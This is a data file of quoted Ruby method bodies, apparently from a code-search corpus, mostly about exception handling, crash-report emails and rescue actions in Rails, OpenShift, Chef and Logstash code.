#.gsub('Google Unexpected response code', 'Unexpected response code')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('An API Certificate or API Signature is required to make requests to PayPal')\n flash_notice = _('An_API_Certificate_or_API_Signature_is_required_to_make_requests_to_PayPal')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Temporary failure in name resolution')\n flash_notice = _('DNS_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'DNS_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Ambethia::ReCaptcha::Controller::RecaptchaError')\n flash_notice = _('ReCaptcha_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'ReCaptcha_Error', :data2 => exception.message).save\n end\n\n #if exception_class.include?(\"Net::SMTP\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"smtp_tls.rb\")) or (exception_class.include?(\"SocketError\") and trace.to_s.include?(\"smtp_tls.rb\")) or ((exception_class.include?(\"Timeout::Error\") and trace.to_s.include?(\"smtp.rb\"))) or trace.to_s.include?(\"smtp.rb\")\n flash_help_link = email_exceptions(exception) if flash_help_link.blank? and flash_notice.blank?\n #end\n\n if exception_class.include?(\"LoadError\") and exception.message.to_s.include?('locations or via rubygems.')\n if exception.message.include?('cairo')\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/Cannot_generate_PDF\"\n else\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Ruby_Gems\"\n end\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Ruby_gems_not_found', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n # Specific case for acunetix security scanner\n if (exception.message.include?('invalid byte sequence in UTF-8') or exception.message.include?('{\"$acunetix\"=>\"1\"}')) and ['try_to_login', 'signup_end'].member?(params[:action])\n flash_notice = _('Internal_Error_Contact_Administrator')\n exception_send_email = 0\n end\n\n if exception_send_email == 1 and exception_class != exception_class_previous and !flash_help_link or params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(\" >> Need to send email\", true)\n\n if exception_class.include?(\"NoMemoryError\")\n extra_info = get_memory_info\n MorLog.my_debug(extra_info)\n end\n\n # Gather all exception\n rep, rev, status = get_svn_info\n rp = []\n (params.each { |k, v| rp << [\"#{k} => #{v}\"] })\n\n message = [\n \"ID: #{id.to_s}\",\n \"IP: #{request.env['SERVER_ADDR']}\",\n \"Class: #{exception_class}\",\n \"Message: #{exception}\",\n \"Controller: #{params[:controller]}\",\n \"Action: #{params[:action]}\",\n \"User ID: #{session ? session[:user_id].to_i : 'possible_from_api'}\",\n \"----------------------------------------\",\n \"Repositority: #{rep}\",\n \"Revision: [#{rev}]\",\n \"Local version modified: #{status}\",\n \"----------------------------------------\",\n\n \"Request params: \\n#{rp.join(\"\\n\")}\",\n \"----------------------------------------\",\n \"Seesion params: \\n#{nice_session if session}\",\n \"----------------------------------------\"\n ]\n if extra_info.length > 0\n message << \"----------------------------------------\"\n message << extra_info\n message << \"----------------------------------------\"\n end\n message << \"#{trace}\"\n\n if test_machine_active?\n if File.exists?('/var/log/mor/test_system')\n message << \"----------------------------------------\"\n message << %x[tail -n 50 /var/log/mor/test_system]\n end\n end\n\n if swap\n message << \"----------------------------------------\"\n message << swap.to_yaml\n end\n\n if exception_class.include?(\"Errno::EPERM\")\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/tmp/]\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/]\n end\n\n Confline.set_value(\"Last_Crash_Exception_Class\", exception_class, 0)\n\n if params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(' >> Crash email NOT sent THIS IS JUST TEST', true)\n return :text => flash_notice.to_s + flash_help_link.to_s + message.join(\"\\n\")\n #render :text => message.join(\"\\n\") and return false\n else\n\n subject = \"#{ExceptionNotifier_email_prefix} Exception. ID: #{id.to_s}\"\n time = Confline.get_value(\"Last_Crash_Exception_Time\", 0)\n if time and !time.blank? and (Time.now - Time.parse(time)) < 1.minute\n MorLog.my_debug(\"Crash email NOT sent : Time.now #{Time.now.to_s(:db)} - Last_Crash_Exception_Time #{time}\")\n else\n send_crash_email(address, subject, message.join(\"\\n\")) if params[:do_not_log_test_exception].to_i == 0\n Confline.set_value(\"Last_Crash_Exception_Time\", Time.now.to_s(:db), 0)\n MorLog.my_debug('Crash email sent')\n end\n end\n else\n MorLog.my_debug(\" >> Do not send email because:\", true)\n MorLog.my_debug(\" >> Email should not be sent. Confline::Exception_Send_Email: #{exception_send_email.to_s}\", true) if exception_send_email != 1\n MorLog.my_debug(\" >> The same exception twice. Last exception: #{exception_class.to_s}\", true) if exception_class == exception_class_previous\n MorLog.my_debug(\" >> Contained explanation. Flash: #{ flash_help_link}\", true) if flash_help_link\n end\n\n if !flash_help_link.blank?\n flash[:notice] = _('Something_is_wrong_please_consult_help_link')\n flash[:notice] += \"<a id='exception_info_link' href='#{flash_help_link}' target='_blank'><img alt='Help' src='#{Web_Dir}/assets/icons/help.png' title='#{_('Help')}' /></a>\".html_safe\n else\n flash[:notice] = flash_notice.to_s.blank? ? \"INTERNAL ERROR. - ID: #{id} - #{exception_class}\" : flash_notice\n end\n\n if session and session[:forgot_pasword] == 1\n session[:forgot_pasword] = 0\n flash[:notice_forgot]= (_('Cannot_change_password') + \"<br />\" + _('Email_not_sent_because_bad_system_configurations')).html_safe\n end\n\n if session and session[:flash_not_redirect].to_i == 0\n #redirect_to Web_Dir + \"/callc/main\" and return false\n else\n session[:flash_not_redirect] = 0 if session\n #render(:layout => \"layouts/mor_min\") and return false\n end\n end\n rescue Exception => e\n MorLog.log_exception(e, id, params[:controller].to_s, params[:action].to_s)\n message =\"Exception in exception at: #{escape_for_email(request.env['SERVER_ADDR'])} \\n --------------------------------------------------------------- \\n #{escape_for_email(%x[tail -n 50 /var/log/mor/test_system])}\"\n command = ApplicationController::send_email_dry(\"guicrashes@kolmisoft.com\", address, message, \"#{ExceptionNotifier_email_prefix} SERIOUS EXCEPTION\", \"-o tls='auto'\")\n system(command)\n flash[:notice] = \"INTERNAL ERROR.\"\n #redirect_to Web_Dir + \"/callc/main\" and return false\n end\n end", "def rescue_action(exception)\n @message = exception.message\n @backtrace = exception.backtrace.join(\"\\n\") unless exception.nil?\n logger.info @message\n logger.info @backtrace\n render :file => \"#{RAILS_ROOT}/app/views/errors/error.rhtml\", :layout=> false, :status => 404\n end", "def process_action(*args)\n super\n rescue ActionDispatch::Http::Parameters::ParseError => exception\n json_response(nil ,400, :bad_request)\n end", "def rescue_action_locally(exception)\n cashboard_rescue_exception()\n super(exception)\n end", "def rescue_action(exception)\n rescue_with_handler(exception) ||\n rescue_action_without_handler(exception)\n end", "def action__invoke &proc\n if (restriction = self.class.restrictions?(action_with_format))\n auth_class, auth_args, auth_proc = restriction\n (auth_request = auth_class.new(proc {}, *auth_args, &auth_proc).call(env)) && halt(auth_request)\n end\n\n (cache_control = cache_control?) && cache_control!(*cache_control)\n (expires = expires?) && expires!(*expires)\n (content_type = format? ? mime_type(format) : content_type?) && content_type!(content_type)\n (charset = __e__.explicit_charset || charset?) && charset!(charset)\n\n begin\n (self.class.hooks?(:a, action_with_format)||[]).each { |m| self.send m }\n super \n (self.class.hooks?(:z, action_with_format)||[]).each { |m| self.send m }\n rescue => e\n # if a handler defined at class level, use it\n if handler = self.class.error?(500, action)\n body = handler.last > 0 ? self.send(handler.first, e) : self.send(handler.first)\n halt 500, body\n else\n # otherwise raise rescued exception\n raise e\n end\n end\n\n end", "def recoverable_error e, msg = \"Error\", bt = []\n puts \"#{msg} at time #{clock}\"\n puts \"From \" + bt[0..2].join(\"\\n \") unless bt.empty\n puts \" ...\" if bt.length > 3\n shell.run\n end", "def failed_action(action, uuid, reason)\n log_action(\"FAILED #{action}\", uuid, reason, Syslog::LOG_WARNING)\n end", "def handle_exception(exception)\n if safe_rescue_exception?(exception)\n # This exception should be safely rescued to prevent false positive for the dynamic scanners. Log the exception\n message = \"Automatic handled \" + exception.class.to_s + \": \" + exception.message + \" to prevent false positive\"\n logger.debug message\n flash[:alert] = message unless running?\n # Try to render the normal controller action (although with empty results) as if everything is well\n render\n else\n # This exception should not be safe rescued (possible SQL injection!). Simply raise the exception again to display the full error.\n logger.fatal \"Params: \"+ params.inspect\n raise exception\n end\n end", "def resource_failed(resource, action, exception)\n puts COLOR_RED\n puts \"failed to handle resource --> :#{action} #{resource}\"\n puts COLOR_RESET\n puts \"#{exception}\"\n end", "def failsafe_action\n super\n end", "def tidy_action\n begin\n yield\n rescue OpenShift::Utils::ShellExecutionException => e\n @logger.warn(%Q{\n Tidy operation failed on gear #{@uuid}: #{e.message}\n --- stdout ---\\n#{e.stdout}\n --- stderr ---\\n#{e.stderr}\n })\n end\n end", "def safe_run()\n begin\n self.run()\n rescue Exception=>e\n\te_string = \"hmm, cron method excepted: #{e}\"\n\tprint e_string\n\tself.getSession().say( e_string )\n end\n end", "def alert(msg, action)\n\tSTDERR.puts \"ERROR:\\t#{msg}\"\n\tSTDERR.puts \"\\t#{action}\"\nend", "def tidy_action\n begin\n yield\n rescue ::OpenShift::Runtime::Utils::ShellExecutionException => e\n logger.warn(%Q{\n Tidy operation failed on gear #{@uuid}: #{e.message}\n --- stdout ---\\n#{e.stdout}\n --- stderr ---\\n#{e.stderr}\n })\n end\n end", "def action_handle(action, fei, exception)\n\n fexp = Ruote::Exp::FlowExpression.fetch(@context, fei)\n\n msg = {\n 'action' => action,\n 'fei' => fei,\n 'participant_name' => fexp.h.participant_name,\n 'workitem' => fexp.h.applied_workitem,\n 'put_at' => Ruote.now_to_utc_s }\n\n handle(msg, fexp, exception)\n end", "def do_with_retry(action, num_tries=2)\n (1..num_tries).each do |i|\n begin\n yield\n if (i > 1)\n log_debug \"DEBUG: Action '#{action}' succeeded on try #{i}. You can ignore previous error messages or following mcollective debug related to '#{action}'\"\n end\n break\n rescue Exception => e\n log_debug \"DEBUG: Error performing #{action} on existing app on try #{i}: #{e.message}\"\n raise if i == num_tries\n end\n end\n end", "def call_action(input)\n @action.respond_to?(:call) ? @action.call(input) : Rc.send(@action, input)\n rescue StandardError, SyntaxError\n message = $!.is_a?(NoMethodError) && !@action.respond_to?(:call) &&\n !Rc.respond_to?(@action) ? \"Completion action '#{@action}' doesn't exist.\" :\n \"Failed during completion action with '#{$!.message}'.\"\n raise FailedMissionError.new(self), message\n end", "def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end", "def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end", "def set_failsafe_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def run_and_raise_on_failure\n # TODO ?\n end", "def rescue_action_locally(request, exception)\n template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],\n :request => request,\n :exception => exception,\n :application_trace => application_trace(exception),\n :framework_trace => framework_trace(exception),\n :full_trace => full_trace(exception)\n )\n file = \"rescues/#{@@rescue_templates[exception.class.name]}.erb\"\n body = template.render(:file => file, :layout => 'rescues/layout.erb')\n render(status_code(exception), body)\n end", "def run_with_pretty_exceptions\n unless self.respond_to?(:run)\n text.error \"You need to add a #run method to your meg command before you can use it\"\n end\n run\n rescue Exception => e\n raise if Meggy::Config[:verbosity] == 2\n humanize_exception(e)\n exit 100\n end", "def test_sample3\n\n @action.tap_non_exist_elememnt\n\n rescue StandardError => e\n @action.error_handling(scenario_name: method_name, error_obj: e)\n end", "def alert_on_error(exception, action, msg)\n case action\n when :warn\n Chef::Log.warn <<-MSG\nWARNING: #{exception}\n#{msg}\n MSG\n when :fatal\n fail exception, msg\n end\n end", "def process_action(...)\n send_action(...)\n end", "def print_error_message(**params)\n action = case params[:action]\n when :like then 'like media'\n when :unlike then 'unlike media'\n when :follow then 'follow user'\n when :unfollow then 'unfollow user'\n when :comment then 'comment on media'\n end\n error_string = \"There was an error trying to #{action} \".colorize(:red) + params[:data].to_s\n print_time_stamp\n puts error_string\n\n end", "def errorhandling\n end", "def testRunActionWithError\n executeSlave(\n [\n '--user', 'DummyUser',\n '--tool', 'DummyTool',\n '--action', 'DummyActionError'\n ],\n :AddRegressionActions => true,\n :Repository => 'Dummy/AllDummyActionsAvailable',\n :Error => WEACE::Slave::Client::ActionExecutionsError\n ) do |iError|\n assert(defined?(iError.ErrorsList))\n assert(iError.ErrorsList.kind_of?(Array))\n assert_equal(1, iError.ErrorsList.size)\n assert(iError.ErrorsList[0].kind_of?(Array))\n assert_equal(5, iError.ErrorsList[0].size)\n lProduct, lTool, lAction, lParams, lError = iError.ErrorsList[0]\n assert_equal('RegProduct', lProduct)\n assert_equal('DummyTool', lTool)\n assert_equal('DummyActionError', lAction)\n assert_equal([], lParams)\n assert(lError.kind_of?(WEACE::Slave::Adapters::DummyProduct::DummyTool::DummyError))\n end\n end", "def call_action action=nil\n action ||= @action\n invoke{ dispatch action }\n invoke{ handle_status(@response.status) }\n content_type self.class.content_type unless @response[CNT_TYPE]\n @response.finish\n end", "def rescue_action_locally_with_mole( exception )\n # Stuff the exception in the env for mole rack retrieval\n request.env['mole.exception'] = exception\n rescue_action_locally_without_mole( exception )\n end", "def rescue_action(exception)\n log_error(exception) unless logger.nil?\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end", "def rescue_action(exception)\n log_error(exception) unless logger.nil?\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end", "def safe_run\n run\n rescue Ohai::Exceptions::Error => e\n @failed = true\n raise e\n rescue => e\n @failed = true\n logger.trace(\"Plugin #{name} threw #{e.inspect}\")\n e.backtrace.each { |line| logger.trace( line ) }\n end", "def bypass_rescue\n if ::Rails::VERSION::STRING >= '2.2'\n def controller.rescue_action(exception)\n raise exception\n end\n else\n def controller.rescue_action_with_handler(exception)\n raise exception\n end\n end\n end", "def criticalError(msg='Critical error')\n logExceptionMsg msg\n do_action 'StopSociety' if run\n exit 1\nend", "def error\n\t\t\traise 'Test'\n\t\tend", "def save_failure(action, raise_error = nil)\n raise_error = raise_on_save_failure if raise_error.nil?\n raise(Error, \"unable to #{action} record\") if raise_error\n end", "def execute_action(tubesock, block)\n begin\n # Execute block\n block.call\n rescue Exception => e\n # Log the error\n Rails.logger.error e.message\n\n # Print stack strace\n puts e.backtrace\n\n # Send error message to client\n tubesock.send_data({\n error: e.message\n }.to_json)\n end\n end", "def dispatch_exception(request, response, exception)\n klass = Exceptions rescue Controller\n request.params[:original_params] = request.params.dup rescue {}\n request.params[:original_session] = request.session.dup rescue {}\n request.params[:original_cookies] = request.cookies.dup rescue {}\n request.params[:exception] = exception\n request.params[:action] = exception.name\n dispatch_action(klass, exception.name, request, response, exception.class::STATUS)\n rescue => dispatch_issue\n dispatch_issue = controller_exception(dispatch_issue) \n # when no action/template exist for an exception, or an\n # exception occurs on an InternalServerError the message is\n # rendered as simple text.\n # ControllerExceptions raised from exception actions are \n # dispatched back into the Exceptions controller\n if dispatch_issue.is_a?(ControllerExceptions::NotFound)\n dispatch_default_exception(klass, request, response, exception)\n elsif dispatch_issue.is_a?(ControllerExceptions::InternalServerError)\n dispatch_default_exception(klass, request, response, dispatch_issue)\n else\n exception = dispatch_issue\n retry\n end\n end", "def handle_error action, e\n warn \"#{action} failed: #{e} #{e.backtrace.join(\"\\t\")}\" ;\n @cassandra_db = nil\n sleep 0.2\n end", "def handle_message(message, data, reporter)\n if message == :error # data[0] = exception\n # Mark the current task as failed with whatever data is available to us\n reporter.error(ChefApply::UI::ErrorPrinter.error_summary(data[0]))\n end\n end", "def rescue_action_locally(exception)\n @template.instance_variable_set(\"@exception\", exception)\n @template.instance_variable_set(\"@rescues_path\", RESCUES_TEMPLATE_PATH)\n @template.instance_variable_set(\"@contents\",\n @template.render(:file => template_path_for_local_rescue(exception)))\n\n response.content_type = Mime::HTML\n render_for_file(rescues_path(\"layout\"),\n response_code_for_rescue(exception))\n end", "def run(action)\n @assertions[action.to_sym].each do |a|\n a.run(action, events, @resource)\n if a.assertion_failed? && a.block_action?\n @blocked_actions << action\n break\n end\n end\n end", "def action_errors\n if @sender.abducted \n render json: \"\\nYou can't do this, you are already Abducted!!\"\n elsif params[:sender_id] == params[:survivor_id]\n render json: \"\\nYou can't do this. Are you trying to report yourself?\"\n end\n end", "def error_handler(exception)\n puts exception\n end", "def handle_active_resource_errors\n @error = false\n begin\n yield\n rescue Exception => e\n @error = e\n Rails.logger.info(e)\n render and return\n end\n end", "def rescue_action_locallyyyyyyyyyyyy(e)\n @exception = e\n log_exception(e)\n rescue_action_in_public(e)\n end", "def handle_message(message, data, reporter)\n if message == :error # data[0] = exception\n # Mark the current task as failed with whatever data is available to us\n reporter.error(ChefRun::UI::ErrorPrinter.error_summary(data[0]))\n end\n end", "def return_run_error(text)\r\n respond_to do |format|\r\n format.json { render json: { msg_error: text } }\r\n format.html { render plain: text }\r\n end\r\nend", "def do_it\n\t\tif @type == \"multiple_answer_error\"\n\t\t\tthen puts \"Error: Item #{@holder} raised #{@type} in #{@method}\"\n\t\telsif @type == \"not_found_error\"\n\t\t\tthen puts \"Error: #{@holder} was #{@type} in #{@method}\"\n\t\telse puts \"Error: Have been given an unknown error type: #{@type}\"\n\t\tend\n\tend", "def do_restful_action(action, model, &block)\n begin\n # do block\n response = yield\n return parse_response(response)\n\n rescue RestClient::NotAcceptable => u\n # we might be able to glean errors from HTML in response\n logger.debug(\"Nagyo.#{action}:#{model}: #{u}\")\n error = parse_response(u.response)\n raise Exception.new([Exception.new(error), u]) if self.raise_errors\n rescue Exception => e\n logger.error(\"Nagyo.#{action}:#{model}: #{e}\")\n raise e if self.raise_errors\n end\n end", "def action_run\n end", "def action\n raise( NotImplementedError, I18n.t( \"events.actions.event_logger_action_error\" ) )\n end", "def raised(error, controller_name, action_name)\n @error = error\n @controller_name = controller_name \n @action_name = action_name\n\n mail to: 'marcotello@grupovidanta.com', subject: 'Pragmatic Store Error Raised'\n end", "def process_action(event)\n payload = event.payload\n total_duration = event.duration.to_f.round(2)\n view_duration = payload[:view_runtime].to_f.round(2) if payload.key?(:view_runtime)\n db_duration = payload[:db_runtime].to_f.round(2) if payload.key?(:db_runtime)\n\n if payload[:exception]\n status = ActionDispatch::ExceptionWrapper.status_code_for_exception(payload[:exception][0])\n\n logger.fatal status: status, total_duration: total_duration, view_duration: view_duration, db_duration: db_duration, exception: payload[:exception]\n else\n # Assume status 401 if action finishes without status code and no exception\n # https://github.com/pcg79/devise/commit/1e2dab3c0ce49efe2b5940c15f47388c69d6731b\n payload[:status] ||= 401\n\n logger.info status: payload[:status], total_duration: total_duration, view_duration: view_duration, db_duration: db_duration\n end\n end", "def handle_exception(e)\n if e.flags.has_key?(:layout) then\n @_layout = e.flags[:layout]\n end\n\n if e.flags.has_key?(:no_after_filters) then\n @_stop_no_after_filters = true\n end\n\n if e.flags.has_key?(:redirect) then\n @_layout = false\n to = e.flags[:redirect]\n clear\n @_content = \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0 Transitional//EN\\\"><html><head><title>Redirecting...</title><meta http-equiv=\\\"REFRESH\\\" content=\\\"0;url=#{to}\\\"></HEAD></HTML>\"\n @cancel_execution = true\n end\n\n if e.flags.has_key?(:error) then\n @_layout = false\n http_status \"SERVER_ERROR\"\n clear\n @error_message = e.flags[:error]\n @cancel_execution = true\n trace = ''\n if Cuca::App.config['display_errors'] then\n e.backtrace.each do |b|\n trace<< \"<br/>#{b}\"\n end\n end\n mab { html { body { h2 \"Error\"; text @error_message; br; text trace }}}\n end\n \n if e.flags.has_key?(:cancel_execution) then\n @cancel_execution = true\n end\n end", "def rescue_action(exception)\n case exception.class.name\n when 'ActiveRecord::RecordInvalid'\n render_invalid_record(exception.record)\n when 'ActionController::RoutingError',\n 'ActionController::UnknownAction',\n 'ActiveRecord::RecordNotFound'\n render_404\n else\n if exception.message =~ /undefined local variable or method `simple[_a-z]*_page_path'/\n render :text => \"You must install this plugin's routes! Add the line 'map.from_plugin :simple_pages' to your config/routes.rb\", :layout => true and return\n end\n super\n end\n end", "def _call_action(action)\n send(action)\n end", "def execute_action(action)\n case action\n when 1\n create_station\n when 2\n stations.size > 1 ? create_route : (puts 'Для создания маршрута нужно хотя бы 2 станции.')\n gets\n when 3\n routes.empty? ? (puts 'Маршрутов не создано.') : edit_route \n when 4\n create_train\n when 5\n system 'clear'\n move_train \n when 6\n system 'clear'\n add_carriage_to_train\n when 7\n remove_carriage\n when 8\n set_route\n when 9\n system 'clear'\n display_all_stations\n when 0\n abort\n else\n puts \"Неизвестная команда!\"\n end\n end", "def error job, exception\n if tracetop = exception.backtrace&.first\n # Extract the file and line # from the stack top\n tracetop = \" at<br>\" + tracetop.match(/(.*:[\\d]*)/).to_s.if_present || tracetop\n tracetop.sub! Rails.root.to_s+'/', ''\n end\n errors.add :base, exception.to_s+tracetop\n self.status = :bad if processing? # ...thus allowing others to set the status\n end", "def call(_kitchen_state)\n load_variables\n verify_systems\n unless error_messages.empty?\n raise ::Kitchen::ActionFailed, error_messages.join(\"\\n\\n\")\n end\n rescue ::Kitchen::Pulumi::Error => e\n raise ::Kitchen::ActionFailed, e.message\n end", "def error\n raise Exception, \"An example of what an error looks like if you make a mistake using Commandable.\"\n end", "def rescue_action_with_handler(exception)\n if handler = handler_for_rescue(exception)\n if handler.arity != 0\n handler.call(exception)\n else\n handler.call\n end\n true # don't rely on the return value of the handler\n end\n end", "def bold_error(*args); end", "def instance_run(action)\n @response = {}\n @message = nil\n @error = nil\n\n res = nil\n\n # load default object\n if @@params[:_id]\n eval \"@object = @#{@@class_name.underscore} = #{@@class_name}.unscoped.find(@@params[:_id].to_i)\"\n @response[:path] = @object.path\n end\n\n if @@actions[action] && @@actions[action][:params]\n for key, values in @@actions[action][:params]\n next if @error\n value = @@params[key]\n eval \"@_#{key} = value\" if value.present?\n for type in values\n case type\n when :req\n @error = \"[#{key}] is required\" unless value\n when :email\n begin\n Validate.email value\n rescue\n @error ||= \"[#{key}] #{$!.message}\"\n end\n end\n end\n end\n end\n\n unless @error\n begin\n if @@actions[action]\n res = instance_exec &@@actions[action][:proc]\n elsif respond_to?(action)\n res = send(action)\n else\n @error ||= \"Action #{action} not found in #{self.class.name.sub('Cell','')} API, available #{self.class.actions.to_sentence}\"\n end\n rescue\n if $!\n @error ||= $!.message.split(' for #').first\n root = __FILE__.sub('lux/lux/modules/lux_api.rb','')\n @response[:backtrace] = $!.backtrace.reject{ |el| el.index('/gems/') }.map{ |el| el.sub(root, '') }\n end\n end\n end\n\n if res\n res = instance_eval(&res) if res.kind_of?(Proc)\n res = res.all.map{ |el| el.attributes } if res.class.name == 'ActiveRecord::Relation'\n\n # object given\n if res.respond_to?(:attributes)\n @response[:path] = res.path if res.respond_to?(:path)\n res = res.attributes.reject{ |f| ['updated_by', 'updated_at', 'created_by', 'created_at'].index(f) }\n end\n\n @response[:data] = res\n @response[:message] = @message unless @message.nil?\n # @response[:message] = res if !@message && res.kind_of?(String)\n @error ||= \"Wrong type for @error\" if @error && !@error.kind_of?(String)\n @error ||= \"Wrong type for @message\" if @message && !@message.kind_of?(String)\n end\n\n # if we define _redirect then we will be redirected to exact page\n # useful for file uploads\n if @@params[:_redirect]\n if @error\n Page.flash :error, @error\n elsif @response[:message]\n Page.flash :info, @response[:message]\n end\n\n Page.redirect(@@params[:_redirect])\n end\n\n @response[:error] = @error if @error\n @response[:ip] = '127.0.0.1'\n ap @response if Page.dev?\n @response\n end", "def catch_errors(data = nil, view_config = nil, options = nil)\n begin\n yield\n\n rescue Rester::UnprocessableEntityException => e\n raise Ruminant::DataInvalidException.new(e.message)\n\n rescue Rester::AccessDeniedException => e\n raise Ruminant::AuthInvalidException.new(e.message)\n end\n end", "def with_error_handling\n yield\n rescue => error\n report_error(error)\n Process.exit(false)\n end", "def handle_exception(data)\n logger.warn \"Got exception from remote call of #{data[\"action\"]}: #{data[\"message\"]}\"\n end", "def error_handler\n begin\n yield\n rescue => exception\n options = Rails.env.development? ? {:backtrace => exception.backtrace, :class => exception.class.to_s} : {}\n render_error(exception.message, options)\n end\n end", "def run_action\n raise \"Action for resource #{self.class} is nil!\" if @action.nil?\n\t\t\tif (self.respond_to? @action)\n\t\t\t\tself.send(@action)\n\t\t\tend\n\t\tend", "def error_catcher\n yield\n rescue Errors::ApiError => e\n logger.info e.backtrace.first(5).join(\"\\n\")\n render json: e.error_hash, status: e.status_code\n end", "def formatted format\n {:status => status, :error => exception.message}.send to_format(format)\n end", "def perform\n git.if_clean do\n check_out_branch\n merge_pull_request\n comment_about_merge\n end\n rescue => e\n case e\n when GitHub::PullRequest::NotFound\n cli.say \"Unable to find pull request #{pull_request_id}. Please retry with a valid ID.\"\n when Git::MergeFailed\n cli.say \"Merge failed. Please identify the source of this merge conflict resolve this conflict in your pull request's branch. NOTE: Merge conflicts resolved in the #{branch_type} branch are NOT used when deploying.\"\n when Git::CheckoutFailed\n cli.say \"Checkout of #{branch_to_merge_into} failed. Please contact Infrastructure to determine the cause.\"\n when GitHub::PullRequest::CommentFailed\n cli.say \"Unable to write comment. Please navigate to #{pull_request.url} and add the comment, '#{comment_body}'\"\n else\n cli.say \"An unknown error occurred: #{e.inspect}\"\n end\n raise\n end", "def process(action, *args)\n @_action_name = action.to_s\n\n unless action_name = _find_action_name(@_action_name)\n raise ActionNotFound.new(\"The action '#{action}' could not be found for #{self.class.name}\", self, action)\n end\n\n @_response_body = nil\n\n process_action(action_name, *args)\n end", "def perform(action, payload = {})\n payload.merge!(\n cmd: action,\n version: DeathByCaptcha::API_VERSION,\n username: self.username,\n password: self.password,\n vendor_id: 5,\n )\n\n socket = create_socket()\n socket.puts(payload.to_json)\n response = socket.read()\n socket.close()\n\n begin\n response = JSON.parse(response)\n rescue\n raise DeathByCaptcha::APIResponseError.new(\"invalid JSON: #{response}\")\n end\n\n if !(error = response['error'].to_s).empty?\n case error\n when 'not-logged-in', 'invalid-credentials', 'banned', 'insufficient-funds'\n raise DeathByCaptcha::APIForbidden\n when 'invalid-captcha'\n raise DeathByCaptcha::APIBadRequest\n when 'service-overload'\n raise DeathByCaptcha::APIServiceUnavailable\n else\n raise DeathByCaptcha::APIResponseError.new(error)\n end\n end\n\n response\n end", "def error(*args); say $terminal.color(format(*args), :red); end", "def run_action(msg)\n ui.info(\"#{msg}... \", :nonewline)\n begin\n result = yield\n ui.puts ui.color('complete!', :green, :bold)\n if(result)\n ui.puts '---> Results:'\n case result\n when Hash\n result.each do |k,v|\n ui.puts ' ' << ui.color(\"#{k}: \", :bold) << v\n end\n else\n ui.puts result\n end\n end\n rescue => e\n ui.puts ui.color('error!', :red, :bold)\n ui.error \"Reason - #{e}\"\n raise\n end\n true\n end", "def safe_bulk(actions)\n sleep_interval = @retry_initial_interval\n begin\n @client.bulk(actions) # returns { 'errors': ..., 'items': ... }\n rescue ::LogStash::Outputs::ElasticSearch::HttpClient::Pool::HostUnreachableError => e\n # If we can't even connect to the server let's just print out the URL (:hosts is actually a URL)\n # and let the user sort it out from there\n @logger.error(\n \"Attempted to send a bulk request but Elasticsearch appears to be unreachable or down\",\n message: e.message, exception: e.class, will_retry_in_seconds: sleep_interval\n )\n @logger.debug? && @logger.debug(\"Failed actions for last bad bulk request\", :actions => actions)\n\n # We retry until there are no errors! Errors should all go to the retry queue\n sleep_interval = sleep_for_interval(sleep_interval)\n @bulk_request_metrics.increment(:failures)\n retry unless @stopping.true?\n rescue ::LogStash::Outputs::ElasticSearch::HttpClient::Pool::NoConnectionAvailableError => e\n @logger.error(\n \"Attempted to send a bulk request but there are no living connections in the pool \" +\n \"(perhaps Elasticsearch is unreachable or down?)\",\n message: e.message, exception: e.class, will_retry_in_seconds: sleep_interval\n )\n\n sleep_interval = sleep_for_interval(sleep_interval)\n @bulk_request_metrics.increment(:failures)\n if pipeline_shutdown_requested?\n # when any connection is available and a shutdown is requested\n # the batch can be aborted, eventually for future retry.\n abort_batch_if_available!\n end\n retry unless @stopping.true?\n rescue ::LogStash::Outputs::ElasticSearch::HttpClient::Pool::BadResponseCodeError => e\n @bulk_request_metrics.increment(:failures)\n log_hash = {:code => e.response_code, :url => e.url.sanitized.to_s,\n :content_length => e.request_body.bytesize, :body => e.response_body}\n message = \"Encountered a retryable error (will retry with exponential backoff)\"\n\n # We treat 429s as a special case because these really aren't errors, but\n # rather just ES telling us to back off a bit, which we do.\n # The other retryable code is 503, which are true errors\n # Even though we retry the user should be made aware of these\n if e.response_code == 429\n logger.debug(message, log_hash)\n else\n logger.error(message, log_hash)\n end\n\n sleep_interval = sleep_for_interval(sleep_interval)\n if pipeline_shutdown_requested?\n # In case ES side changes access credentials and a pipeline reload is triggered\n # this error becomes a retry on restart\n abort_batch_if_available!\n end\n retry\n rescue => e # Stuff 